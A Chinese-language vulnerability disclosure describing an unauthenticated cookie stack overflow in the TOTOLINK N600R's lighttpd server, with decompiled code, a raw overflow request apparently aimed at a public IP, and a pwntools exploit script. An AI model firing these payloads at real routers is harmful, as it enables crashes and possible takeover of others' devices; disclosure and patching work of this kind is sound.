TOTOLINK_N600R_lighttpd_stackoverflow

厂商

TOTOLINK

影响设备

N600R V5.3c.5507

N600R V4.3.0cu.7647_B20210106

http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

固件下载

描述

TOTOLINK N600RV4.3.0cu.7647_B20210106与TOTOLINK N600RV5.3c.5507 lighttpd存在栈溢出漏洞，可能导致任意代码执行，此漏洞无需认证

细节

在接收cookie时使用strcpy函数将cookie拷贝到了栈上并没有限制长度直接导致了栈溢出

```
{
  char *v4; // [sp+18h] [+18h]
  char *v5; // [sp+18h] [+18h]
  char *v6; // [sp+18h] [+18h]
  char *i; // [sp+1Ch] [+1Ch]
  char *v8; // [sp+20h] [+20h]
  char v9[128]; // [sp+28h] [+28h] BYREF

  memset(v9, 0, sizeof(v9));
  if ( !*(_DWORD *)(a1 + 376) )
    return 1;
  v8 = strstr(*(const char **)(a1 + 292), a2);  // cookie
  if ( !v8 )
    return 1;
  for ( i = &v8[strlen(a2)]; *i == ' ' || *i == 9; ++i )
    ;
  if ( *i == '=' )
  {
    strcpy(a3, i + 1);
    v4 = strstr(a3, "\r\n");
    if ( v4 )
      *v4 = 0;
    v5 = strchr(a3, '\n');
    if ( v5 )
      *v5 = 0;
    v6 = strchr(a3, ';');
    if ( v6 )
      *v6 = 0;
    strlen(a3);
  }
  return 0;
}
```

POC

```
GET /home.asp HTTP/1.1
Host: 94.231.182.159:1024
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101
Firefox/98.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:SESSION_ID=2:1609948145:2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Upgrade-Insecure-Requests: 1
```

```
from pwn import *
#import requests
context(log_level="debug")
#url="http://192.168.0.1/home.asp"
io=remote("192.168.0.1",80)
#payload="a"*(0x15-14)+'\x00'
context.arch='mips'
shellcode=asm(shellcraft.sh())
payload="a"*0x1000
#payload=shellcode
msg2 = 'GET /home.asp HTTP/1.1\r\n'
msg2 += 'Host: 192.168.0.1\r\n'
msg2 += 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101
Firefox/61.0\r\n'
msg2 += 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r
\n'
msg2 += 'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2\r\n'
msg2 += 'Accept-Encoding: gzip, deflate\r\n'
msg2 += 'Origin: http://192.168.0.1/home.asp\r\n'
msg2 += 'Connection: close\r\n'
msg2 += 'Referer: http://192.168.0.1/\r\n'
msg2 += 'Cookie:SESSION_ID=2:1609948145:2'+payload+'\r\n'
msg2 += 'Upgrade-Insecure-Requests: 1\r\n\r\n'
io.send(msg2)
#io.close()

io.interactive()
```